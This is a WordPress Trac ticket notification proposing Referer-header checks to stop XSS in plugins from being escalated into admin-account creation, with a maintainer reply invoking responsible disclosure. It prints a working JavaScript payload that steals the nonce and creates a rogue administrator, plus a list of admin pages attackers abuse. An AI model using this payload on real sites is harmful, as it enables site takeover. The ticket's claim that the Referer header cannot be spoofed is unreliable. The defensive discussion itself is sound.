[wp-trac] [WordPress Trac] #46472: Preventing XSS to RCE Scenarios based on Referrer

WordPress Trac noreply at wordpress.org
Thu Mar 14 22:03:09 UTC 2019


#46472: Preventing XSS to RCE Scenarios based on Referrer
-------------------------+---------------------
 Reporter:  nomanriffat  |       Owner:  (none)
     Type:  enhancement  |      Status:  new
 Priority:  normal       |   Milestone:
Component:  General      |     Version:
 Severity:  normal       |  Resolution:
 Keywords:               |     Focuses:
-------------------------+---------------------
Changes (by desrosj):

 * version:  trunk =>
 * milestone:  Awaiting Review =>


Old description:

> The idea is to prevent WordPress core from XSS in 3rd party plugins and
> themes which can easily be turned into Remote Code Execution i.e.
> injection Administrator account. It is not uncommon as WordPress sites
> have been seen getting exploited.
>
> https://blog.sucuri.net/2017/12/javascript-injection-creates-rogue-
> wordpress-admin-user.html
>
> For example following Javascript payload can turn an XSS into RCE
>

> {{{
> var ajaxRequest = new XMLHttpRequest();
> var requestURL = "/wp-admin/user-new.php";
> var wp_nonceRegex = /ser" value="([^"]*?)"/g;
> ajaxRequest.open("GET", requestURL, false);
> ajaxRequest.send();
> var nonceMatch = wp_nonceRegex.exec(ajaxRequest.responseText);
> var nonce = nonceMatch[1];
> var params = "action=createuser&_wpnonce_create-
> user="+nonce+"&user_login=config&email=email at attacker.com&pass1=attackpass&pass2=attackpass&role=administrator";
> ajaxRequest = new XMLHttpRequest();
> ajaxRequest.open("POST", requestURL, true);
> ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-
> urlencoded");
> ajaxRequest.send(params);
> }}}
>
> There are 2 XHR requests being sent. 1st request steals the CSRF token
> (nonce) and the 2nd request uses that token to inject an Administrator
> account. Following is how the 2nd malicious request (to inject
> administrator) will look like.
>

> {{{
> GET /wp-admin/user-new.php HTTP/1.1
> Host: local.tld
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
> Gecko/20100101 Firefox/64.0
> Accept: */*
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Referer: http://local.tld/page-vulnerable-to-xss/
> Connection: close
> Cookie: xxx;
> Pragma: no-cache
> Cache-Control: no-cache
> }}}
>
> How a legit request is supposed to look like
>
> {{{
> GET /wp-admin/user-new.php HTTP/1.1
> Host: local.tld
> User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
> Gecko/20100101 Firefox/64.0
> Accept: */*
> Accept-Language: en-US,en;q=0.5
> Accept-Encoding: gzip, deflate
> Referer: http://local.tld/wp-admin/user-new.php
> Connection: close
> Cookie: xxx;
> Pragma: no-cache
> Cache-Control: no-cache
> }}}
>
> The only difference between the 2 requests is Referrer as there is
> absolutely zero chance that this form submission is supposed to come from
> another page.
>
> Is this a good idea to trust referrer? Yes because referrer header can't
> be spoofed. I have also seen Wordpress uses its own Referrer field in
> forms which isn't a good prevention technique in this case because that
> can easily be spoofed in forms.
> https://developer.wordpress.org/reference/functions/wp_referer_field/
>
> **Limitations**
> The only worst case scenario could be that if Administrator is using some
> browser addon to block referrers. But that is a very rare scenario and
> since modern browsers don't block referrers by default so this can be
> ignored.
>
> **Pages to implement**
> user-new.php was an example and is also commonly used in XSS to RCE
> cases. But there are other pages vulnerable too such as
>
> **/wp-admin/profile.php** (attacker can edit a profile form and update
> password or email)
> **/wp-admin/plugin-editor.php** (attacker can edit plugin file and inject
> malicious code)
> **/wp-admin/theme-editor.php** (attacker can edit theme file and inject
> malicious code)
> **/wp-admin/update.php?action=upload-theme** (attacker can upload
> malicious theme file using theme upload form. As it is possible to upload
> file using Javascript only)
> **/wp-admin/update.php?action=upload-plugin** (attacker can upload
> malicious plugin file using plugin upload form)
>
> These are the forms which can be used by attacker to turn an XSS into RCE
> (you can add more if I missed some). Also the aim is currently to prevent
> attacker from getting complete hold of the site i.e. RCE. But this
> mechanism can be implemented on all forms to avoid attacker from making
> changes on other pages i.e. editing pages, posts and settings page.
>
> **Detecting header and preventing it**
> {{{#!php
> if ($_SERVER["HTTP_REFERER"] != base_url()."/wp-admin/user-new.php")
> {
> wp_die();
> }
> }}}
>
> Of course one cannot completely deny attacker from messing around with
> Core Wordpress because of Same Origin Policy but this mechanism will
> limit him to a big extent.

New description:

 The idea is to prevent WordPress core from XSS in 3rd party plugins and
 themes which can easily be turned into Remote Code Execution i.e.
 injection Administrator account. It is not uncommon as WordPress sites
 have been seen getting exploited.

 https://blog.sucuri.net/2017/12/javascript-injection-creates-rogue-
 wordpress-admin-user.html

 For example following Javascript payload can turn an XSS into RCE


 {{{
 var ajaxRequest = new XMLHttpRequest();
 var requestURL = "/wp-admin/user-new.php";
 var wp_nonceRegex = /ser" value="([^"]*?)"/g;
 ajaxRequest.open("GET", requestURL, false);
 ajaxRequest.send();
 var nonceMatch = wp_nonceRegex.exec(ajaxRequest.responseText);
 var nonce = nonceMatch[1];
 var params = "action=createuser&_wpnonce_create-
 user="+nonce+"&user_login=config&email=email at attacker.com&pass1=attackpass&pass2=attackpass&role=administrator";
 ajaxRequest = new XMLHttpRequest();
 ajaxRequest.open("POST", requestURL, true);
 ajaxRequest.setRequestHeader("Content-Type", "application/x-www-form-
 urlencoded");
 ajaxRequest.send(params);
 }}}

 There are 2 XHR requests being sent. 1st request steals the CSRF token
 (nonce) and the 2nd request uses that token to inject an Administrator
 account. Following is how the 2nd malicious request (to inject
 administrator) will look like.


 {{{
 GET /wp-admin/user-new.php HTTP/1.1
 Host: local.tld
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
 Gecko/20100101 Firefox/64.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://local.tld/page-vulnerable-to-xss/
 Connection: close
 Cookie: xxx;
 Pragma: no-cache
 Cache-Control: no-cache
 }}}

 How a legit request is supposed to look like

 {{{
 GET /wp-admin/user-new.php HTTP/1.1
 Host: local.tld
 User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:64.0)
 Gecko/20100101 Firefox/64.0
 Accept: */*
 Accept-Language: en-US,en;q=0.5
 Accept-Encoding: gzip, deflate
 Referer: http://local.tld/wp-admin/user-new.php
 Connection: close
 Cookie: xxx;
 Pragma: no-cache
 Cache-Control: no-cache
 }}}

 The only difference between the 2 requests is Referrer as there is
 absolutely zero chance that this form submission is supposed to come from
 another page.

 Is this a good idea to trust referrer? Yes because referrer header can't
 be spoofed. I have also seen WordPress uses its own Referrer field in
 forms which isn't a good prevention technique in this case because that
 can easily be spoofed in forms.
 https://developer.wordpress.org/reference/functions/wp_referer_field/

 **Limitations**
 The only worst case scenario could be that if Administrator is using some
 browser addon to block referrers. But that is a very rare scenario and
 since modern browsers don't block referrers by default so this can be
 ignored.

 **Pages to implement**
 user-new.php was an example and is also commonly used in XSS to RCE cases.
 But there are other pages vulnerable too such as

 **/wp-admin/profile.php** (attacker can edit a profile form and update
 password or email)
 **/wp-admin/plugin-editor.php** (attacker can edit plugin file and inject
 malicious code)
 **/wp-admin/theme-editor.php** (attacker can edit theme file and inject
 malicious code)
 **/wp-admin/update.php?action=upload-theme** (attacker can upload
 malicious theme file using theme upload form. As it is possible to upload
 file using Javascript only)
 **/wp-admin/update.php?action=upload-plugin** (attacker can upload
 malicious plugin file using plugin upload form)

 These are the forms which can be used by attacker to turn an XSS into RCE
 (you can add more if I missed some). Also the aim is currently to prevent
 attacker from getting complete hold of the site i.e. RCE. But this
 mechanism can be implemented on all forms to avoid attacker from making
 changes on other pages i.e. editing pages, posts and settings page.

 **Detecting header and preventing it**
 {{{#!php
 if ($_SERVER["HTTP_REFERER"] != base_url()."/wp-admin/user-new.php")
 {
 wp_die();
 }
 }}}

 Of course one cannot completely deny attacker from messing around with
 Core Wordpress because of Same Origin Policy but this mechanism will limit
 him to a big extent.

--

Comment:

 Hi @nomanriffat,

 Since this is a security issue, we ask that you **please follow the
 responsible disclosure policy talked about in detail on the
 [https://wordpress.org/about/security/ WordPress.org Security page]**.
 This policy is also mentioned in detail on the New Ticket screen with a
 required checkbox to confirm that the new ticket is not disclosing any
 security vulnerabilities where you opened this ticket.

 TLDR: **We take this very seriously. Security flaws in the software should
 always be disclosed privately and privately to the security team.**

 To do this, submit your vulnerability to the WordPress HackerOne project
 at https://hackerone.com/wordpress.

 This issue is going to be deleted after I submit this comment to protect
 anyone that may be affected by these potential vectors.

 Please use better judgment in the future and follow the disclosure policy
 the project has laid out.

-- 
Ticket URL: <https://core.trac.wordpress.org/ticket/46472#comment:3>
WordPress Trac <https://core.trac.wordpress.org/>
WordPress publishing platform


More information about the wp-trac mailing list